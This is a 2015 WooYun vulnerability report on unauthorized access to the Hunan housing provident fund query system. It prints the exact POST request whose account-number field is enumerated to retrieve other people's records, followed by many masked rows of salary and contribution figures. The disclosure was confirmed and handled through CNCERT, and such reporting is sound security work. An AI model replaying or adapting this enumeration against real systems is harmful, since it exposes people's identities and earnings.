当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163084

漏洞标题:湖南省公积金任意用户查询/姓名/身份证/工资

相关厂商:湖南省公积金

漏洞作者: 路人甲

提交时间:2015-12-21 13:12

修复时间:2016-02-07 17:56

公开时间:2016-02-07 17:56

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-21: 细节已通知厂商并且等待厂商处理中
2015-12-25: 厂商已经确认,细节仅向厂商公开
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-02-07: 细节向公众公开

简要描述:

湖南省公积金任意用户查询/姓名/身份证/工资
如果公司是按全额购买公积金,那么还可以查到工资

详细说明:

http://**.**.**.**:7001/wscx/
进去之后,有一个请求:

POST /wscx/zfbzgl/gjjxxcx/gjjxx_cx.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer:
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 49
DNT: 1
Host: **.**.**.**:7001
Pragma: no-cache
Cookie: JSESSIONID=; ASPSESSIONIDQCTBCCRB=; safedog-flow-item=
Connection: close
sfzh=&zgxm=&zgzh=05000200680671&dwbm=&cxyd=&zgzt=


2.png


3.png


然后就是跑数据了

mask 区域
*****9;, '正常', '4,500.00元', '720.00元', '0.00元', '360.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****;正常', '7,500.00元', '1,800.00元', '0.00元', '900.00元', '*****
*****#039;正常', '2,500.00元', '400.00元', '0.00元', '200.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,910.00元', '306.00元', '0.00元', '153.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****039;正常', '15,462.00元', '3,712.00元', '0.00元', '1,856.00元', *****
*****9;, '正常', '1,500.00元', '240.00元', '0.00元', '120.00元'*****
*****9;, '正常', '1,500.00元', '240.00元', '0.00元', '120.00元'*****
*****18', '正常', '2,000.00元', '320.00元', '0.00元', '160.00元*****
*****', '封存', '4,388.00元', '704.00元', '0.00元', '352.00元'*****
*****8', '正常', '3,611.00元', '578.00元', '0.00元', '289.00元'*****
*****8', '正常', '4,000.00元', '640.00元', '0.00元', '320.00元'*****
*****-18', '正常', '2,415.00元', '388.00元', '0.00元', '194.00元*****
*****8', '正常', '4,055.00元', '650.00元', '0.00元', '325.00元'*****
*****18', '正常', '2,373.00元', '380.00元', '0.00元', '190.00元*****
*****8', '封存', '4,682.00元', '750.00元', '0.00元', '375.00元'*****
*****', '正常', '7,000.00元', '1,120.00元', '0.00元', '560.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '封存', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元*****
*****-18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元*****
*****18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '封存', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元*****
*****-18', '正常', '2,400.00元', '576.00元', '0.00元', '288.00元*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'封存', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &*****
*****正常', '1,400.00元', '224.00元', '0.00元', '112.00元', '112.*****


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-25 11:21

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖南分中心,由其后续协调网站管理单位处置。

最新状态:

暂无